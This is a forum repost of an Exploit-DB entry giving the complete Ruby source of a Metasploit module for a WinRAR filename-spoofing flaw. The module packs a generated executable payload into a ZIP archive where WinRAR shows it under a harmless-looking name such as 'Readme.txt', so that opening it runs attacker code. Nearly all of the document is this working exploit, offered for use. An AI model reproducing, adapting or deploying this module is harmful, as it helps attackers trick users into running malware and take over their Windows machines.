Exploit WinRAR - Filename Spoofing (Metasploit)

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
32752
Проверка EDB
  1. Пройдено
Автор
METASPLOIT
Тип уязвимости
LOCAL
Платформа
WINDOWS
CVE
null
Дата публикации
2014-04-08
Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WinRAR Filename Spoofing',
      'Description'    => %q{
        This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists
        when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from
        the central directory, but the file names used to extract and open contents come from the
        Local File Header. This inconsistency allows to spoof file names when opening ZIP files
        with WinRAR, which can be abused to execute arbitrary code, as exploited in the wild in
        March 2014
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'chr1x', # Vulnerability discoverer according to OSVDB
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '62610' ],
          [ 'BID', '66383' ],
          [ 'URL', 'http://securityaffairs.co/wordpress/23623/hacking/winrar-zero-day.html'],
          [ 'URL', 'http://an7isec.blogspot.co.il/']
        ],
      'Platform'          => [ 'win' ],
      'Payload'           =>
        {
          'DisableNops' => true,
          'Space' => 4096
        },
      'Targets'        =>
        [
          [ 'Windows Universal', {} ]
        ],
      'DisclosureDate' => 'Sep 28 2009',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('SPOOF', [ true, 'The spoofed file name to show', 'Readme.txt']),
        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])
      ], self.class)

  end

  def exploit
    exe_filename = rand_text_alpha(rand(6) + 1)
    exe_filename << ".exe"

    zip = Rex::Zip::Archive.new
    zip.add_file(exe_filename, generate_payload_exe, nil, nil, datastore['SPOOF'])
    pack = zip.pack

    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(pack)
  end

end
 
Источник
www.exploit-db.com

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